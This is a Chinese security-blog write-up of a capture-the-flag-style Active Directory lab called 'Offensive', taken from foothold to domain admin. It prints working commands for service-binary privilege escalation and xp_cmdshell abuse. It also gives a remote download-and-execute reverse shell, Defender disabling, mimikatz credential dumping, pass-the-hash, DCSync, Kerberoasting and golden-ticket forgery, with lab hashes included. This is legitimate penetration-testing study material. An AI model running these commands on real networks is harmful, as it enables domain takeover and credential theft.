freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Offensive-AD域靶场渗透
2022-05-26 10:53:30
所属地 北京

前言

Offensive是国外的一个靶场,要求获取域控权限,且只能使用客户机提供的工具以及powershell,已经拥有192.168.159.10的一个用户权限,工具已经放在主机内。

网络拓扑如下:
通过信息搜集,以及知道当前用户为offensive\Alice在域环境offensive中,当前用户不在管理员组中。使用工具包中提供的powerup来进行检查,寻找当前主机的Windows服务漏洞来进行提权。

powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Invoke-AllChecks"

这里发现VulnService.exe是以localsystem权限启动的,这里利用方法是利用powerup写入一个二进制文件,将Alice添加到管理员组:

powershell -exec bypass -Command "Import-Module .\PowerUp.ps1;Write-ServiceBinary -ServiceName'VulnService' -UserName'offensive\Alice' -Password 'Passw0rd'"

将生产的service.exe重命名后放在对应目录下,重启主机后,提取至管理员权限。使用提供的powerview脚本来进行域内信息搜集:

Import-Module .\PowerView.ps1        #导入脚本Get-NetDomain               #获取域信息Get-NetDomainController         #获取域控信息Get-NetUser | select name         #获取域内的用户Get-NetGroup | select name         #获取域内的组Get-NetComputer |select name      #获取域内主机的名字

使用powerupsql脚本来进行信息搜集:

Import-Module .\PowerUpSQL.ps1        #导入脚本Get-SQLInstanceDomain | Get-SQLConnectionTest     #枚举域内数据库访问情况Get-SQLServerInfo -Instance Offensive-SQL1      #枚举当前服务的详细信息Invoke-SQLAudit -Instance Offensive-SQL1 -verbose #扫描当前服务器可能存在的问题

扫描发现Offensive-SQL1当前登录的用户为Alice:可以通过xp_cmdshell来执行系统命令:使用提供的Heidisql连接到数据库,执行下述命令,当前用户为域管理员:

SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR name='show advanced options’  EXEC sp_configure 'show advanced options',1RECONFIGUREEXEC sp_configure 'xp_cmdshell',1RECONFIGUREEXEC master..xp_cmdshell 'whoami'


将提供的反弹shell的脚本拖进HFS中:
导入powercat脚本来监听443端口,数据库执行系统命令,获得数据库服务器的shell:

EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'

先关闭defender:

Set-MpPreference-disablerealtimeMonitoring $true将mimikatz拖进HFS,执行文件下载命令,将mimikatz下载下来,然后运行mimikatz抓取密码certutil -urlcache -f -splithttp://192.168.159.10/mimikatz.exe mimikatz.exe.\mimikatz.exe"privilege::debug" "sekurlsa::logonpasswords" exit

抓取到dbadmin密码的哈希和明文密码:使用mimikatz进行PTH,报错百度说可能是Win10的某些安全性改进,导致mimikatz无法读取lsass导致的。

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local/ntlm:7fe86e0c585f2b6a2bad86034dac5648 /run:powershell.exe" exit

那就在Offensive-SQL1来执行试一下,先开启数据库服务器的远程桌面,使用dbadmin用户登录。登录到Offensive-SQL1上后,执行命令,成功登录到dc。

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:7fe86e0c585f2b6a2bad86034dac5648 /run:powershell.exe" exitEnter-PSSession -ComputerName dc

我们已经获取到域管理员权限,可以利用Dcsync来导出所有域用户的哈希:

lsadump::dcsync /domain:offensive.local /all /csv

对域管理员Administrator密码的哈希进行破解,密码为Password!

Kerberoasting

使用GetUserSPNS脚本来查询域内用户注册的 SPN:

Add-Type -AssemblyName System.IdentityModel    #请求服务票据New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Offensive-SQL1:1433"   #列出服务票据Kerberos::list /export   #导出票据

使用tgsrepcrack脚本对导出的服务票据文件进行离线破解,这里是因为未修改之前的机器密码为Passw0rd!

黄金票据

前面我们通过Dcsync已经知道了krbtgt的哈希,执行下述命令黄金票据攻击:

kerberos::golden /user:Administrator /domain:offensive.local /sid:S-1-5-21-1187620287-4058297830-2395299116 /krbtgt:61d83c569b93bfcd4ca2087011361caa /ptt #misc::cmddir \\dc.offensive.local\c$

总结

通过这个靶场进一步的了解了提权、横向、mssql命令执行、dcsysc、pth等常见渗透攻击方法,以及如何利用当前权限和工具一步步渗透到达域控获取域管理员权限从而接管整个域。

# 渗透测试
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录